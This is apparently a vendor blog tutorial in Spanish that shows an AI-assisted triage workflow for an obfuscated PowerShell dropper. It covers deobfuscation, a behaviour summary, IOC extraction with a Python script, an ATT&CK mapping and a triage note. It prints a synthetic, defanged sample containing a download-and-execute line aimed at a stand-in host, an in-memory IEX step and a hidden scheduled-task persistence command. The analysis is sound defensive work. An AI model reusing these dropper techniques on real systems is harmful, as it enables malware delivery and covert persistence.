Saltar al contenido
Todos los artículos

· 6 min de lectura

Análisis de malware con IA: triage de un dropper ofuscado

Un flujo de triage de malware paso a paso con Odin v1: desofusca un dropper, resume su comportamiento, extrae IOC a JSON, mapea a ATT&CK y redacta la nota.

Los droppers en forma de script son lo que más a menudo le piden revisar a un analista de SOC: un archivo PowerShell o JavaScript adjunto a un correo, varias capas de ofuscación y una URL de descarga al final. El triage es repetitivo, y los modelos convencionales se niegan a menudo a desofuscar una muestra porque es maliciosa. Odin v1 responde directamente, lo que lo convierte en un asistente práctico para este trabajo. En esta guía hacemos el triage de un dropper sintético en PowerShell, desde el primer vistazo hasta la nota de triage terminada.

Primero, manipula la muestra de forma segura

El modelo nunca toca la muestra. La tocas tú, y esa parte hay que hacerla bien:

  • Trabaja dentro de una VM de análisis aislada y sin acceso a red (o con una red simulada), con un snapshot antes de empezar y restaurada al terminar.
  • No abras ni ejecutes nunca una muestra en tu host. Saca texto de la VM, no archivos.
  • Neutraliza (defang) las URL, los dominios y las IP antes de que salgan de la VM (hxxps://, [.]), para que nadie haga clic en ellos más tarde.
  • Calcula los hashes tú mismo con Get-FileHash o sha256sum. No le pidas a un modelo que calcule o recuerde hashes.

Odin solo acepta texto, así que pegas el contenido del script, la salida de strings o el texto del informe de un sandbox, no binarios, capturas de pantalla ni PDF. Los prompts y las respuestas de la API no se almacenan, pero aun así elimina los nombres de clientes y los hostnames internos que no necesites para el análisis.

La muestra

Es una muestra sintética, recortada y neutralizada, escrita para este artículo. Muestra trucos típicos sin poder ejecutarse:

powershell
# SYNTHETIC SAMPLE for illustration. Defanged and truncated: it does not run.$q = 'hxxps://cdn-sync[.]example[.]com/a/upd.dat'$f = '203.0.113[.]47:8443'$n = ('{1}{0}{2}' -f 'et.We', 'N', 'bClient')$w = New-Object $n$w.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) SyncHost/2.1')$d = "$env:APPDATA\Microsoft\SyncHost"$w.DownloadFile($q, "$d\synchost.ps1")$b = [Convert]::FromBase64String('<base64 blob removed, 2,412 chars>')$s = [Text.Encoding]::Unicode.GetString($b)& ([char[]](73, 69, 88) -join '') $sschtasks /create /tn "OneDrive Sync Helper" /sc onlogon /tr "powershell -w hidden -ep bypass -f $d\synchost.ps1" /f

Paso 1: desofuscar

Dale al modelo el rol, el contexto y la salida exacta que quieres:

Estás ayudando a un analista de malware. El script siguiente se extrajo de un adjunto de phishing dentro de una VM de laboratorio aislada. No ejecutes nada. Desofúscalo de forma estática: resuelve cada truco de construcción de cadenas, reescribe el script con nombres de variables legibles y enumera cada técnica de ofuscación que hayas resuelto. Si una capa son datos codificados que no puedes ver, di qué son probablemente y cómo decodificarlos de forma segura.

Cuenta con un script limpio más una lista de los trucos resueltos: la cadena de formato -f se reordena como Net.WebClient, el array de caracteres 73, 69, 88 es IEX (Invoke-Expression) y el blob en base64 es texto UTF-16LE que se ejecuta en memoria. Como aquí el blob se ha eliminado, una buena respuesta te dirá que lo decodifiques dentro de la VM (en CyberChef, "From Base64" y después "Decode text" con UTF-16LE) y que pegues el resultado como la siguiente capa.

Para capas largas en base64 o XOR, decodifica en local y pega la salida. Los modelos pueden transcribir mal cadenas codificadas largas, y un decodificador local es exacto.

Paso 2: resumir el comportamiento

A continuación, pide un resumen del comportamiento en lenguaje llano que separe lo que hace el código de lo que probablemente hace:

Resume lo que hace este script, en orden de ejecución. Marca cada afirmación como CONFIRMED (visible en el código) o INFERRED (probable, pero depende de contenido que no hemos visto).

Para esta muestra, cuenta con lo siguiente: descarga confirmada de una segunda etapa en %APPDATA%\Microsoft\SyncHost\synchost.ps1 con un user agent personalizado, ejecución en memoria de una capa embebida y persistencia mediante una tarea programada al iniciar sesión con la ventana oculta. La dirección de respaldo y el propósito de la segunda etapa siguen siendo inferidos hasta que decodifiques el blob. Esa separación entre confirmado e inferido es lo que permite poner el resumen en un informe con seguridad.

Paso 3: extraer los IOC a JSON

Pide un esquema fijo para que la salida pueda ir directamente a tu TIP o tu SIEM:

json
{  "sample": {    "file_name": "invoice_0923.ps1",    "sha256": "<computed locally, not by the model>"  },  "network": [    { "type": "url", "value": "hxxps://cdn-sync[.]example[.]com/a/upd.dat", "context": "second stage download" },    { "type": "ip_port", "value": "203.0.113[.]47:8443", "context": "probable fallback, inferred" }  ],  "host": [    { "type": "file_path", "value": "%APPDATA%\\Microsoft\\SyncHost\\synchost.ps1" },    { "type": "scheduled_task", "value": "OneDrive Sync Helper" },    { "type": "user_agent", "value": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) SyncHost/2.1" }  ]}

Cuando tengas decenas de scripts decodificados o informes de sandbox, cambia a odin-flash. Es más rápido y más barato, y extraer IOC es una tarea de patrones que no requiere un razonamiento profundo. Reserva odin-v1 (razonamiento activado por defecto, contexto de 1.000.000 tokens) para la desofuscación y el análisis de comportamiento.

python
import jsonimport osimport pathlib
from openai import OpenAI
client = OpenAI(base_url="https://api.interodin.com/v1", api_key=os.environ["INTERODIN_API_KEY"])
SYSTEM = (    "Extract indicators of compromise from the text. Return only JSON with the keys "    "urls, domains, ips, file_paths, registry_keys, scheduled_tasks, mutexes, user_agents, "    "each a list of strings. Keep values defanged exactly as written. "    "Never invent indicators and never compute hashes.")

def extract(text: str) -> dict:    resp = client.chat.completions.create(        model="odin-flash",        messages=[{"role": "system", "content": SYSTEM}, {"role": "user", "content": text}],    )    raw = resp.choices[0].message.content.strip()    fence = "`" * 3    raw = raw.removeprefix(fence + "json").removesuffix(fence).strip()    return json.loads(raw)

results = {}for path in sorted(pathlib.Path("triage/decoded").glob("*.txt")):    results[path.name] = extract(path.read_text(encoding="utf-8", errors="replace"))
pathlib.Path("triage/iocs.json").write_text(json.dumps(results, indent=2))

Revisa por muestreo la salida contra el texto original. El prompt prohíbe inventar indicadores, pero quien firma el informe eres tú. La guía del SDK de OpenAI explica cómo configurar el cliente.

Paso 4: mapear a MITRE ATT&CK

Pide un mapeo en el que cada técnica cite la línea de código que la justifica y en el que se marquen los mapeos débiles. Cuenta con algo así:

TécnicaIDEvidencia
Command and Scripting Interpreter: PowerShellT1059.001Toda la muestra
Obfuscated Files or InformationT1027Cadena de formato, array de caracteres, blob en base64
Deobfuscate/Decode Files or InformationT1140FromBase64String en tiempo de ejecución
Ingress Tool TransferT1105DownloadFile de la segunda etapa
Scheduled Task/Job: Scheduled TaskT1053.005schtasks /create ... /sc onlogon
Hide Artifacts: Hidden WindowT1564.003-w hidden
Masquerading: Match Legitimate Resource Name or LocationT1036.005"OneDrive Sync Helper", %APPDATA%\Microsoft

Cuestiona las técnicas sin evidencia. Si el modelo añade un protocolo de capa de aplicación para C2 antes de que hayas visto ningún código de beaconing, pídele que lo pase a "inferido".

Paso 5: redactar la nota de triage

Por último, dale al modelo todo lo de los pasos anteriores y pídele una nota en el formato de tu equipo:

text
Triage note: invoice_0923.ps1Verdict: malicious, PowerShell downloader with scheduled task persistence (confidence: high)Analysis: static only, isolated VM, no networkBehavior: downloads second stage to %APPDATA%\Microsoft\SyncHost, runs an embedded  layer in memory, persists via logon task "OneDrive Sync Helper" (hidden window)IOCs: iocs.json (5 indicators, defanged)ATT&CK: T1059.001, T1027, T1140, T1105, T1053.005, T1564.003, T1036.005Open questions: content of the embedded layer, role of 203.0.113[.]47Next steps: block URL and IP at the proxy, hunt for the task name across endpoints,  deploy detections

Las detecciones son el siguiente paso natural. Nuestra guía de reglas Sigma y YARA con IA cubre reglas Sigma para PowerShell sospechoso y una regla YARA para esta familia ficticia SyncHost. Si quieres automatizar todo el pipeline con scripts, consulta Claude Code para herramientas de seguridad, y para entender por qué aquí importa un modelo centrado en seguridad, lee investigación de seguridad con menos rechazos.

Empieza ya

Crea una clave de API en la consola y sigue la guía de inicio rápido para hacer tu primera petición. Analiza muestras solo en entornos aislados que controles y mantén tu trabajo dentro de la Política de Uso Aceptable.